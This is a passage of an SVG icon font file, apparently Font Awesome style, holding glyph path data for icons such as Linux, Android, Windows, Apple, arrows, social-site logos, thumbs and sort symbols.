-20.75-3.75q-8.5,0.75 -10.75-2.5q-3.25-3.75 1.25-14.25q 0.5-1.5 2-4.5t 2.125-4.5t 1.125-4.25t 0.25-5.5q0-3.75 -4.25-12.25t-3.5-12 q 0.75-4.25 9.25-6.5q 5-1.5 21.125-4.625t 24.875-5.125q 6-1.5 18.5-5.5t 20.625-5.75t 13.875-1q 10.75,1.5 16.125,7t 5.75,12t-1.875,14.625t-4.75,13t-5,9.125q-30.25,47.5 -42.25,60.5q-17,18.5 -28.25,10q-2.75-2.25 -3.75,3.75q-0.75,4 -0.5,9.5q 0.25,7.25 2.5,13t 6,11.75t 5.5,10.5q 2,5.25 6.625,18t 7.375,19.5t 7.5,15.25t 9.75,13.5q 27.5,35.75 31,48.75 q-3,28 -4,77.5q-0.5,22.5 6,37.875t 26.5,26.125q 9.75,5.25 26,5.25q 13.25,0.25 26.5-3.375t 22.25-10.375q 14.25-10.5 22.875-30.375t 7.375-36.875q-1.25-23.75 7.5-53.5q 8.5-28.25 33.25-54.5q 13.75-14.75 24.875-40.75t 14.875-47.75q 2-12.25 1.25-21.125t-3-13.875t-5-5.5q-2.5-0.5 -5.875-4.75t-6.75-8.875t-10.125-8.375t-15.25-3.5 q-4.5,0.25 -7.875,1.25t-5.625,3.375t-3.375,3.875t-2.875,5.125t-2.25,4.875q-5.5,9.25 -10.25,7.5t-7-12.25t 1.75-24.25q 5-17.5 0.25-48.75q-2.5-16.25 4.5-25.125t 18.25-8.25t 21.25,8.875q 14.75,12.25 22.375,16.625t 25.875,10.625q 13.25,4.5 19.25,9.125t 4.625,8.625t-6.25,7.125t-12.875,5.875q-8.25,2.75 -12.375,12t-3.75,18.125t 3.875,11.875q 0.25-7.75 2-14.125 t 3.625-10.125t 5.125-7.125t 5.25-4.75t 5.375-3.25t 4.125-2.375z" horiz-adv-x="384" data-tags="linux, os" />
<glyph unicode="&#xf17b;" d="M 123.25,263.25q 4,0 6.875,2.875t 2.875,6.875t-2.875,6.875t-6.875,2.875t-6.75-2.875t-2.75-6.875t 2.75-6.875t 6.75-2.875zM 228.75,263.25q 4,0 6.75,2.875t 2.75,6.875t-2.75,6.875t-6.75,2.875t-6.875-2.875t-2.875-6.875t 2.875-6.875t 6.875-2.875zM 25.75,217.25q 10.5,0 18-7.5t 7.5-18l0-107.5 q0-10.75 -7.375-18.25t-18.125-7.5 t-18.25,7.5t-7.5,18.25l0,107.5 q0,10.5 7.5,18t 18.25,7.5zM 290.75,212.5l0-166.5 q0-11.5 -8-19.5t-19.25-8l-18.75,0 l0-56.75 q0-10.75 -7.5-18.25t-18.25-7.5t-18.25,7.5t-7.5,18.25l0,56.75 l-34.5,0 l0-56.75 q0-10.75 -7.5-18.25t-18.25-7.5q-10.5,0 -18,7.5t-7.5,18.25l-0.25,56.75l-18.5,0 q-11.5,0 -19.5,8t-8,19.5l0,166.5 l 229.5,0 zM 232.75,313.75q 26.75-13.75 42.75-38.375t 16-53.875 l-231.25,0 q0,29.25 16,53.875t 43,38.375l-17.75,32.75q-1.75,3.25 1.25,5q 3.25,1.5 5-1.5l 18-33q 23.75,10.5 50.25,10.5t 50.25-10.5l 18,33q 1.75,3 5,1.5q 3-1.75 1.25-5zM 352,191.75l0-107.5 q0-10.75 -7.5-18.25t-18.25-7.5q-10.5,0 -18,7.5t-7.5,18.25l0,107.5 q0,10.75 7.5,18.125t 18,7.375q 10.75,0 18.25-7.375t 7.5-18.125z" horiz-adv-x="352" data-tags="android, os" />
<glyph unicode="&#xf17a;" d="M 170.5,132.5l0-162.75 l-170.5,23.5l0,139.25 l 170.5,0 zM 170.5,318.25l0-164.75 l-170.5,0 l0,141.25 zM 416,132.5l0-196.5 l-226.75,31.25l0,165.25 l 226.75,0 zM 416,352l0-198.5 l-226.75,0 l0,167.25 z" horiz-adv-x="416" data-tags="windows, os" />
<glyph unicode="&#xf179;" d="M 348.25,80.25q-9.75-31.25 -30.75-62.5q-32.25-49 -64.25-49q-12.25,0 -35,8q-21.5,8 -37.75,8q-15.25,0 -35.5-8.25q-20.25-8.5 -33-8.5q-38,0 -75.25,64.75q-36.75,65.25 -36.75,125.75q0,57 28.25,93.5q 28,36 71,36q 18,0 44.25-7.5q 26-7.5 34.5-7.5q 11.25,0 35.75,8.5q 25.5,8.5 43.25,8.5q 29.75,0 53.25-16.25 q 13-9 26-25q-19.75-16.75 -28.5-29.5q-16.25-23.5 -16.25-51.75q0-31 17.25-55.75t 39.5-31.5zM 254.25,373.5q0-15.25 -7.25-34q-7.5-18.75 -23.25-34.5q-13.5-13.5 -27-18q-9.25-2.75 -26-4.25q 0.75,37.25 19.5,64.25q 18.5,26.75 62.5,37q 0.25-0.75 0.625-2.75t 0.625-2.75q0-1 0.125-2.5t 0.125-2.5z" horiz-adv-x="352" data-tags="apple" />
<glyph unicode="&#xf178;" d="M 432,160.75q0-3.5 -2.5-6l-96-88.5q-4-3.5 -8.75-1.5q-4.75,2.25 -4.75,7.25l0,56 l-312,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,48 q0,3.5 2.25,5.75t 5.75,2.25l 312,0 l0,56 q0,5.25 4.75,7.25t 8.75-1.25l 96-87.5q 2.5-2.5 2.5-5.75z" data-tags="long-arrow-right, arrow, right" />
<glyph unicode="&#xf177;" d="M 448,184l0-48 q0-3.5 -2.25-5.75t-5.75-2.25l-312,0 l0-56 q0-5.25 -4.75-7.25t-8.75,1.25l-96,87.5q-2.5,2.5 -2.5,5.75q0,3.5 2.5,6l 96,88.5q 4,3.5 8.75,1.5q 4.75-2.25 4.75-7.25l0-56 l 312,0 q 3.5,0 5.75-2.25t 2.25-5.75z" data-tags="long-arrow-left, left, arrow" />
<glyph unicode="&#xf176;" d="M 191.25,260.75q-2.25-4.75 -7.25-4.75l-56,0 l0-312 q0-3.5 -2.25-5.75t-5.75-2.25l-48,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,312 l-56,0 q-5.25,0 -7.25,4.75t 1.25,8.75l 87.5,96q 2.5,2.5 5.75,2.5q 3.5,0 6-2.5l 88.75-96q 3.25-4 1.25-8.75z" horiz-adv-x="192" data-tags="long-arrow-up, arrow, up" />
<glyph unicode="&#xf175;" d="M 191.25,59.25q 2-4.75 -1.25-8.75l-87.5-96q-2.5-2.5 -5.75-2.5q-3.5,0 -6,2.5l-88.75,96q-3.25,4 -1.25,8.75q 2.25,4.75 7.25,4.75l 56,0 l0,312 q0,3.5 2.25,5.75t 5.75,2.25l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-312 l 56,0 q 5.25,0 7.25-4.75z" horiz-adv-x="192" data-tags="long-arrow-down, arrow, down, bottom" />
<glyph unicode="&#xf174;" d="M 280.75,31.75l0,45.25 q-22-14 -43.5-14q-12.75,0 -22,5.75q-7.25,4.25 -9.75,11.25q-2.75,7.5 -2.75,32.25l0,73.75 l 68.5,0 l0,45.25 l-68.5,0 l0,72.75 l-41,0 q-2.75-22.5 -10-36.75t-19.5-24.75q-12-10 -29-15.75l0-40.75 l 31.75,0 l0-101 q0-19.5 4.25-30.25q 4.25-10.5 14.75-19.5q 10.75-9.25 26-14.25q 15.5-5 35-5q 16.75,0 32.25,3.5q 14.25,3.25 33.5,12.25zM 384,280 l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384" data-tags="tumblr-sign, social, blog" />
<glyph unicode="&#xf173;" d="M 97.5,352l 54.75,0 l0-97 l 91,0 l0-60.25 l-91,0 l0-98.5 q0-34 3.5-43q 3.25-9.25 13-15q 12.5-7.75 29.25-7.75q 29.25,0 58,19l0-60.5 q-25.5-12 -44.5-16.25q-19.25-4.75 -43.25-4.75q-26.25,0 -46.5,6.75q-19.5,6.25 -34.5,18.75q-14.5,12.75 -19.75,26.25q-5.5,13.5 -5.5,40.25l0,134.75 l-42.5,0 l0,54.25 q 22.75,7.5 38.75,21q 16,13.75 25.75,33q 9.75,19.5 13.5,49z " horiz-adv-x="256" data-tags="tumblr, social, blog" />
<glyph unicode="&#xf172;" d="M 212,166.5q0,10.75 -10.25,16.5t-19.25,0.25q-10.75-5 -10.625-18.125t 10.875-17.625q 9.75-5.75 20.25,1t 9,18zM 232,170.5q 2-16.5 -9-30.25t-27.5-15.25t-29.75,10t-14,28.25q-0.5,12.25 6.375,23.25t 18.125,16q 17.5,7.75 35.375-2.5t 20.375-29.5zM 275,268.25q-5-5.25 -13.375-8.5t-13.25-4t-15.875-2q-38.75-5 -81,0q-11,1.5 -15.75,2.375 t-13.125,4t-13.625,8.125q 3.25,4.75 9,7.75t 10,3.875t 11.75,2.125q 49.5,8.75 102,0.25q 8.25-1.25 12.75-2.125t 10.75-4t 9.75-7.875zM 285.5,81.75q0,1.75 1.375,6.625t 0.75,8t-4.375,4.125q-40.25-26.5 -91.25-26.5t-91.5,26.5l-3-1.5l-1.25-3q 6.5-38.5 10.25-52.5q 11.75-20.25 51-27q 62.25-11.5 107,13.25q 8.5,4.75 12.25,12.875t 5.625,21.375t 3.125,17.75z M 318,255q 2.25,13.25 -2,18.75q-10.75,13.75 -38.75,22q-54,15.75 -121.75,9q-33-3 -56.5-11.5q-9.5-3.75 -14.875-6.25t-11.75-8.5t-7.375-13.5q 2-17 4.75-34.5t 7.25-42.75t 6-34.25q 0.25-1.25 1.25-7.75t 1.75-9t 3-6.75t 5.5-7q 26.25-20 71-25q 64.75-7 110,15.75q 6,3.25 9.875,5.75t 7.75,7.25t 4.875,10q 12,66.75 20,118.25zM 384,280 l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384" data-tags="bitbucket-sign" />
<glyph unicode="&#xf171;" d="M 203.75,169.25q 2-15.75 -12.625-25.25t-27.875-1.5q-9.75,4.25 -13.375,14.5t-0.125,20.5t 13,14.5q 9,4.5 18.125,3t 16-8.875t 6.875-16.875zM 231.5,174.5q-3.5,26.75 -28.25,41t-49.25,3.25q-15.75-7 -25.125-22.125t-8.625-32.375q 1-22.75 19.375-38.75t 41.375-14q 22.75,2 38,21t 12.5,42zM 291.25,310q-5,6.75 -14,11.125t-14.5,5.5 t-17.75,3.125q-72.75,11.75 -141.5-0.5q-10.75-1.75 -16.5-3t-13.75-5.5t-12.5-10.75q 7.5-7 19-11.375t 18.375-5.5t 21.875-2.875q 57-7.25 112-0.25q 15.75,2 22.375,3t 18.125,5.375t 18.75,11.625zM 305.5,51.25q-2-6.5 -3.875-19.125t-3.5-21t-7.125-17.5t-14.5-14.125q-21.5-12 -47.375-17.875t-50.5-5.5t-50.375,4.625q-11.5,2 -20.375,4.5 t-19.125,6.75t-18.25,10.875t-13,15.375q-6.25,24 -14.25,73l 1.5,4l 4.5,2.25q 55.75-37 126.625-37t 126.875,37q 5.25-1.5 6-5.75t-1.25-11.25t-2-9.25zM 350.75,291.5q-6.5-41.75 -27.75-163.75q-1.25-7.5 -6.75-14t-10.875-10t-13.625-7.75q-63-31.5 -152.5-22q-62,6.75 -98.5,34.75q-3.75,3 -6.375,6.625t-4.25,8.75t-2.25,8.5t-1.5,9.875 t-1.375,8.75q-2.25,12.5 -6.625,37.5t-7,40.375t-5.875,36.875t-5.5,39.5q 0.75,6.5 4.375,12.125t 7.875,9.375t 11.25,7.5t 11.5,5.625t 12,4.625q 31.25,11.5 78.25,16q 94.75,9.25 169-12.5q 38.75-11.5 53.75-30.5q 4-5 4.125-12.75t-1.375-13.5z" horiz-adv-x="352" data-tags="bitbucket" />
<glyph unicode="&#xf170;" d="M 192,228.5l 50.25-76.5l-100.5,0 zM 283.25,96l 23.5,0 l-114.75,172.75l-114.75-172.75l 23.5,0 l 26,40l 130.5,0 zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384" data-tags="adn" />
<glyph unicode="&#xf16e;" d="M 312,352q 29.75,0 50.875-21.125t 21.125-50.875l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 zM 174.5,160q0,22 -15.5,37.5t-37.5,15.5t-37.5-15.5t-15.5-37.5t 15.5-37.5t 37.5-15.5t 37.5,15.5t 15.5,37.5zM 315.5,160q0,22 -15.5,37.5 t-37.5,15.5t-37.5-15.5t-15.5-37.5t 15.5-37.5t 37.5-15.5t 37.5,15.5t 15.5,37.5z" horiz-adv-x="384" data-tags="flickr, photos, social" />
<glyph unicode="&#xf16d;" d="M 340.5,27.5l0,162 l-33.75,0 q 5-15.75 5-32.75q0-31.5 -16-58.125t-43.5-42.125t-60-15.5q-49.25,0 -84.25,33.875t-35,81.875q0,17 5,32.75l-35.25,0 l0-162 q0-6.5 4.375-10.875t 10.875-4.375l 267.25,0 q 6.25,0 10.75,4.375t 4.5,10.875zM 269.5,160.75q0,31 -22.625,52.875t-54.625,21.875q-31.75,0 -54.375-21.875t-22.625-52.875 t 22.625-52.875t 54.375-21.875q 32,0 54.625,21.875t 22.625,52.875zM 340.5,250.75l0,41.25 q0,7 -5,12.125t-12.25,5.125l-43.5,0 q-7.25,0 -12.25-5.125t-5-12.125l0-41.25 q0-7.25 5-12.25t 12.25-5l 43.5,0 q 7.25,0 12.25,5t 5,12.25zM 384,302.75l0-285.5 q0-20.25 -14.5-34.75t-34.75-14.5l-285.5,0 q-20.25,0 -34.75,14.5t-14.5,34.75l0,285.5 q0,20.25 14.5,34.75 t 34.75,14.5l 285.5,0 q 20.25,0 34.75-14.5t 14.5-34.75z" horiz-adv-x="384" data-tags="instagram, social" />
<glyph unicode="&#xf16c;" d="M 232,33.75l0-37.75 l-176.75-0.25l0,37.75 zM 292.25,120.25l0-175.25 l-0.25-8.75l0-0.25 l-283,0 l-8.75,0.25l-0.25,0 l0,184 l 30.25,0 l0-154.5 l 232,0 l0,154.5 l 30,0 zM 60.25,98.25l 176-16.25l-3.25-37.5l-176.25,16.25zM 77.25,177.25l 170.75-45.75l-9.75-36.5l-170.75,45.75zM 118,264.5l 152.25-90l-19.25-32.5l-152.25,90zM 208,347.25l 99.5-146.25l-31-21.25l-99.75,146zM 321.25,384 l 30.25-174.25l-37.25-6.5l-30.25,174.25z" horiz-adv-x="352" data-tags="stackexchange, stackoverflow, social" />
<glyph unicode="&#xf16b;" d="M 100.5,207.25l 123.5-76.25l-85.5-71.25l-122.5,79.75zM 347,68.5l0-27 l-122.5-73.25l0-0.25 l-0.25,0.25l-0.25-0.25l0,0.25 l-122.25,73.25l0,27 l 36.75-24l 85.5,71l0,0.5 l 0.25-0.25l 0.25,0.25l0-0.5 l 85.75-71zM 138.5,354.5l 85.5-71.25l-123.5-76l-84.5,67.5zM 347.5,207.25l 84.5-67.75l-122.25-79.75l-85.75,71.25zM 309.75,354.5l 122.25-79.75l-84.5-67.5l-123.5,76z" data-tags="dropbox" />
<glyph unicode="&#xf16a;" d="M 320,160q0,9.25 -7.5,13.5l-128,80q-7.75,5 -16.25,0.5q-8.25-4.5 -8.25-14l0-160 q0-9.5 8.25-14q 4-2 7.75-2q 5,0 8.5,2.5l 128,80q 7.5,4.25 7.5,13.5zM 448,160q0-24 -0.25-37.5t-2.125-34.125t-5.625-36.875q-4-18.25 -17.25-30.75t-31-14.5q-55.5-6.25 -167.75-6.25t-167.75,6.25q-17.75,2 -31.125,14.5t-17.375,30.75 q-3.5,16.25 -5.375,36.875t-2.125,34.125t-0.25,37.5t 0.25,37.5t 2.125,34.125t 5.625,36.875q 4,18.25 17.25,30.75t 31,14.5q 55.5,6.25 167.75,6.25t 167.75-6.25q 17.75-2 31.125-14.5t 17.375-30.75q 3.5-16.25 5.375-36.875t 2.125-34.125t 0.25-37.5z" data-tags="youtube-play, social" />
<glyph unicode="&#xf169;" d="M 171.25,192.75q0,0.25 -31.5,55.5q-5.25,8.5 -13,8.5l-46,0 q-4.5,0 -6.5-2.75q-1.75-3 0.25-7.25l 31.25-54l0-0.25 l-49-86.5q-2.25-3.5 0-7q 2-3.25 6-3.25l 46.25,0 q 7.75,0 12.5,9zM 327.25,317q-1.75,3 -6,3l-46.75,0 q-7.5,0 -12.25-8.75l-102.75-182.25q 0.25-0.5 65.5-120.25q 5-8.75 13-8.75l 46,0 q 4.5,0 6.25,3q 2,3.25 -0.25,7l-65,119l0,0.25  l 102.25,180.75q 2,4 0,7zM 384,280l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384" data-tags="xing-sign, social" />
<glyph unicode="&#xf168;" d="M 149.25,217.25q-2.5-4.5 -64.25-114q-6.75-11.5 -16.25-11.5l-59.75,0 q-5.25,0 -7.75,4.25t0,9l 63.25,112q 0.25,0 0,0.25l-40.25,69.75q-3,5.5 -0.25,9.25q 2.25,3.75 8,3.75l 59.75,0 q 10,0 16.5-11.25zM 350.75,377.75q 2.75-4 0-9.25l-132-233.5l0-0.25 l 84-153.75q 2.75-5 0.25-9.25q-2.5-3.75 -8-3.75l-59.75,0 q-10.5,0 -16.5,11.25l-84.75,155.5q 4.5,8 132.75,235.5 q 6.25,11.25 16,11.25l 60.25,0 q 5.5,0 7.75-3.75z" horiz-adv-x="352" data-tags="xing, social" />
<glyph unicode="&#xf167;" d="M 242.75,73l0-52.75 q0-16.75 -9.75-16.75q-5.75,0 -11.25,5.5l0,75.25 q 5.5,5.5 11.25,5.5q 9.75,0 9.75-16.75zM 327.25,72.75l0-11.5 l-22.5,0 l0,11.5 q0,17 11.25,17t 11.25-17zM 85.75,127.25l 26.75,0 l0,23.5 l-78,0 l0-23.5 l 26.25,0 l0-142.25 l 25,0 l0,142.25 zM 157.75-15l 22.25,0 l0,123.5 l-22.25,0 l0-94.5 q-7.5-10.5 -14.25-10.5q-4.5,0 -5.25,5.25q-0.25,0.75 -0.25,8.75l0,91 l-22.25,0 l0-97.75 q0-12.25 2-18.25 q 3-9.25 14.5-9.25q 12,0 25.5,15.25l0-13.5 zM 265,22l0,49.25 q0,18.25 -2.25,24.75q-4.25,14 -17.75,14q-12.5,0 -23.25-13.5l0,54.25 l-22.25,0 l0-165.75 l 22.25,0 l0,12 q 11.25-13.75 23.25-13.75q 13.5,0 17.75,13.75q 2.25,6.75 2.25,25zM 349.5,24.5l0,3.25 l-22.75,0 q0-12.75 -0.5-15.25q-1.75-9 -10-9q-11.5,0 -11.5,17.25l0,21.75 l 44.75,0 l0,25.75 q0,19.75 -6.75,29q-9.75,12.75 -26.5,12.75q-17,0 -26.75-12.75 q-7-9.25 -7-29l0-43.25 q0-19.75 7.25-29q 9.75-12.75 27-12.75q 18,0 27,13.25q 4.5,6.75 5.25,13.5q 0.5,2.25 0.5,14.5zM 197.5,252.75l0,52.5 q0,17.25 -10.75,17.25t-10.75-17.25l0-52.5 q0-17.5 10.75-17.5t 10.75,17.5zM 377.25,65q0-58.5 -6.5-87.5q-3.5-14.75 -14.5-24.75t-25.5-11.5q-46-5.25 -138.75-5.25t-138.75,5.25q-14.5,1.5 -25.625,11.5t-14.375,24.75 q-6.5,28 -6.5,87.5q0,58.5 6.5,87.5q 3.5,14.75 14.5,24.75t 25.75,11.75q 45.75,5 138.5,5t 138.75-5q 14.5-1.75 25.625-11.75t 14.375-24.75q 6.5-28 6.5-87.5zM 127.75,384l 25.5,0 l-30.25-99.75l0-67.75 l-25,0 l0,67.75 q-3.5,18.5 -15.25,53q-9.25,25.75 -16.25,46.75l 26.5,0 l 17.75-65.75zM 220.25,300.75l0-43.75 q0-20.25 -7-29.5q-9.25-12.75 -26.5-12.75q-16.75,0 -26.25,12.75 q-7,9.5 -7,29.5l0,43.75 q0,20 7,29.25q 9.5,12.75 26.25,12.75q 17.25,0 26.5-12.75q 7-9.25 7-29.25zM 304,341.25l0-124.75 l-22.75,0 l0,13.75 q-13.25-15.5 -25.75-15.5q-11.5,0 -14.75,9.25q-2,6 -2,18.75l0,98.5 l 22.75,0 l0-91.75 q0-8.25 0.25-8.75q 0.75-5.5 5.25-5.5q 6.75,0 14.25,10.75l0,95.25 l 22.75,0 z" horiz-adv-x="384" data-tags="youtube, social" />
<glyph unicode="&#xf166;" d="M 229.75,58.25l0,39.25 q0,12.5 -7.25,12.5q-4.25,0 -8.25-4l0-56 q 4-4 8.25-4q 7.25,0 7.25,12.25zM 275.75,88.75l 16.5,0 l0,8.5 q0,12.75 -8.25,12.75t-8.25-12.75l0-8.5 zM 133,155.25l0-17.5 l-20,0 l0-105.75 l-18.5,0 l0,105.75 l-19.5,0 l0,17.5 l 58,0 zM 183.25,123.75l0-91.75 l-16.75,0 l0,10 q-9.75-11.25 -19-11.25q-8.25,0 -10.5,7q-1.5,4 -1.5,13.5l0,72.5 l 16.5,0 l0-67.5 q0-6 0.25-6.5q 0.25-3.75 3.75-3.75 q 5,0 10.5,7.75l0,70 l 16.75,0 zM 246.25,96l0-36.5 q0-13 -1.75-18.25q-3-10.5 -13.25-10.5q-8.75,0 -17,10.25l0-9 l-16.75,0 l0,123.25 l 16.75,0 l0-40.25 q 8,10 17,10q 10.25,0 13.25-10.5q 1.75-5.25 1.75-18.5zM 309,63.75l0-2.25 q0-7.25 -0.5-10.75q-0.75-5.5 -3.75-10q-6.75-10 -20-10q-13,0 -20.25,9.5q-5.25,6.75 -5.25,21.5l0,32.25 q0,14.75 5,21.5q 7.25,9.5 20,9.5t 19.5-9.5 q 5.25-7 5.25-21.5l0-19 l-33.25,0 l0-16.25 q0-12.75 8.5-12.75q 6,0 7.5,6.5q0,0.25 0.125,1.75t 0.125,4.125l0,5.375 l 17,0 zM 196.25,269.75l0-39 q0-12.75 -8-12.75t-8,12.75l0,39 q0,13 8,13t 8-13zM 329.5,91.5q0,44.25 -4.75,65q-2.5,11 -10.75,18.375t-19,8.625q-34,3.75 -103,3.75q-68.75,0 -102.75-3.75q-11-1.25 -19.125-8.625t-10.625-18.375 q-5-21.75 -5-65q0-44 5-65q 2.5-10.75 10.625-18.25t 18.875-8.75q 34.25-3.75 103-3.75t 103,3.75q 10.75,1.25 18.875,8.75t 10.625,18.25q 5,21 5,65zM 140.75,254.25l 22.5,74l-18.75,0 l-12.75-48.75l-13.25,48.75l-19.5,0 l 6-17.25t 5.75-17.25q 8.75-25.75 11.5-39.5l0-50.25 l 18.5,0 l0,50.25 zM 213,234l0,32.5 q0,14.5 -5.25,21.75q-7.25,9.5 -19.5,9.5q-12.75,0 -19.5-9.5 q-5.25-7.25 -5.25-21.75l0-32.5 q0-14.5 5.25-21.75q 6.75-9.5 19.5-9.5q 12.25,0 19.5,9.5q 5.25,6.75 5.25,21.75zM 258.25,204l 16.75,0 l0,92.5 l-16.75,0 l0-70.75 q-5.5-7.75 -10.5-7.75q-3.75,0 -4,4q-0.25,0.5 -0.25,6.5l0,68 l-16.75,0 l0-73.25 q0-9.25 1.5-13.75q 2.75-6.75 10.75-6.75q 9,0 19.25,11.25l0-10 zM 384,280l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-240,0  q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384" data-tags="youtube-sign, social" />
<glyph unicode="&#xf165;" d="M 64,240q0-6.5 -4.75-11.25t-11.25-4.75q-6.75,0 -11.375,4.75t-4.625,11.25q0,6.75 4.625,11.375t 11.375,4.625q 6.5,0 11.25-4.625t 4.75-11.375zM 104,112l0,160 q0,6.5 -4.75,11.25t-11.25,4.75l-72,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-160 q0-6.5 4.75-11.25t 11.25-4.75l 72,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 386.25,149.25q 13.75-15.25 13.75-37.25q-0.25-19.5 -14.375-33.75 t-33.625-14.25l-69.25,0 q 1-3.5 2-6t 2.75-5.5t 2.5-4.5q 4.5-9.25 6.75-14.25t 4.75-14.625t 2.5-19.125q0-6 -0.125-9.75t-1.25-11.25t-3-12.5t-6-11.25t-10-10.125t-15-6.5t-20.625-2.625q-6.5,0 -11.25,4.75q-5,5 -8.5,12.5t-4.875,13t-3.125,15.25q-2.25,10.5 -3.375,15.125t-4.375,12.125t-7.75,12q-8.25,8.25 -25.25,30q-12.25,16 -25.25,30.25 t-19,14.75q-6.25,0.5 -10.75,5.125t-4.5,10.875l0,160.25 q0,6.5 4.75,11.125t 11.25,4.875q 8.75,0.25 39.5,11q 19.25,6.5 30.125,9.875t 30.375,7.25t 36,3.875l 4.25,0 l 19,0 l 9,0 q 33.25-0.5 49.25-19.5q 14.5-17.25 12.25-45.25q 9.75-9.25 13.5-23.5q 4.25-15.25 0-29.25q 11.5-15.25 10.75-34.25q0-8 -3.75-19z" horiz-adv-x="416" data-tags="thumbs-down, rate, down, dislike" />
<glyph unicode="&#xf164;" d="M 64,48q0,6.5 -4.75,11.25t-11.25,4.75q-6.75,0 -11.375-4.75t-4.625-11.25q0-6.75 4.625-11.375t 11.375-4.625q 6.5,0 11.25,4.625t 4.75,11.375zM 104,176l0-160 q0-6.5 -4.75-11.25t-11.25-4.75l-72,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,160 q0,6.5 4.75,11.25t 11.25,4.75l 72,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 400,176q0-21.5 -13.75-37.25q 3.75-11 3.75-19 q 0.75-19 -10.75-34.25q 4.25-14 0-29.25q-3.75-14.25 -13.5-23.5q 2.25-28 -12.25-45.25q-16-19 -49.25-19.5l-9,0 l-19,0 l-4.25,0 q-16.5,0 -36,3.875t-30.375,7.25t-30.125,9.875q-30.75,10.75 -39.5,11q-6.5,0.25 -11.25,4.875t-4.75,11.125l0,160.25 q0,6.25 4.5,10.875t 10.75,5.125q 6,0.5 19,14.75t 25.25,30.25q 17,21.75 25.25,30q 4.5,4.5 7.75,12t 4.375,12.125 t 3.375,15.125q 1.75,9.75 3.125,15.25t 4.875,13t 8.5,12.5q 4.75,4.75 11.25,4.75q 11.5,0 20.625-2.625t 15-6.5t 10-10.125t 6-11.25t 3-12.5t 1.25-11.25t 0.125-9.75q0-9.5 -2.375-19t-4.75-15t-6.875-14q-0.75-1.5 -2.5-4.5t-2.75-5.5t-2-6l 69.25,0 q 19.5,0 33.75-14.25t 14.25-33.75z" horiz-adv-x="416" data-tags="thumbs-up, up, rate, like" />
<glyph unicode="&#xf163;" d="M 336.5,311.75q0,15.75 -11,29t-25.75,13.25q-13,0 -20.75-9.25t-7.75-23.5t 9.125-23.75t 26.125-9.5q 12.5,0 21.25,6.75t 8.75,17zM 184,24q0-3 -2.5-6l-79.75-79.75q-2.5-2.25 -5.75-2.25q-3,0 -5.75,2.25l-80,80q-3.75,4 -1.75,8.75q 2,5 7.5,5l 48,0 l0,344 q0,3.5 2.25,5.75t 5.75,2.25l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-344 l 48,0 q 3.5,0 5.75-2.25 t 2.25-5.75zM 364-35.5l0-28.5 l-117.25,0 l0,28.5 l 41.75,0 l0,108 q0,1.75 0.125,4.75t 0.125,4.25l0,4 l-0.5,0 l-1.75-3q-2-3.25 -6.5-7.75l-15.5-14.5l-20.5,21.5l 48,46.25l 30.75,0 l0-163.5 l 41.25,0 zM 371.5,297.25q0-15.5 -3.25-30.375t-10.25-28.5t-17-23.875t-24.625-16.375t-31.875-6.125q-15.5,0 -27,4q-6,2 -10.5,3.75l 9.75,28.25q 3.75-1.75 7.75-2.75q 9.25-3.25 18.75-3.25 q 21,0 33.625,14.625t 16.625,36.375l-0.5,0 q-5.25-5.75 -15.375-9.25t-21.125-3.5q-26.5,0 -43.25,17.875t-16.75,43.125q0,26.25 18,44.5t 45.25,18.25q 30.75,0 51.25-23.625t 20.5-63.125z" horiz-adv-x="384" data-tags="sort-by-order-alt" />
<glyph unicode="&#xf162;" d="M 336.5,55.75q0,15.75 -11,29t-25.75,13.25q-13,0 -20.75-9.25t-7.75-23.5t 9.125-23.75t 26.125-9.5q 12.5,0 21.25,6.75t 8.75,17zM 184,24q0-3 -2.5-6l-79.75-79.75q-2.5-2.25 -5.75-2.25q-3,0 -5.75,2.25l-80,80q-3.75,4 -1.75,8.75q 2,5 7.5,5l 48,0 l0,344 q0,3.5 2.25,5.75t 5.75,2.25l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-344 l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75 zM 371.5,41.25q0-15.5 -3.25-30.375t-10.25-28.5t-17-23.875t-24.625-16.375t-31.875-6.125q-15.5,0 -27,4q-6,2 -10.5,3.75l 9.75,28.25q 3.75-1.75 7.75-2.75q 9.25-3.25 18.75-3.25q 21,0 33.625,14.625t 16.625,36.375l-0.5,0 q-5.25-5.75 -15.375-9.25t-21.125-3.5q-26.5,0 -43.25,17.875t-16.75,43.125q0,26.25 18,44.5t 45.25,18.25q 30.75,0 51.25-23.625 t 20.5-63.125zM 364,220.5l0-28.5 l-117.25,0 l0,28.5 l 41.75,0 l0,108 q0,1.75 0.125,4.75t 0.125,4.25l0,4 l-0.5,0 l-1.75-3q-2-3.25 -6.5-7.75l-15.5-14.5l-20.5,21.5l 48,46.25l 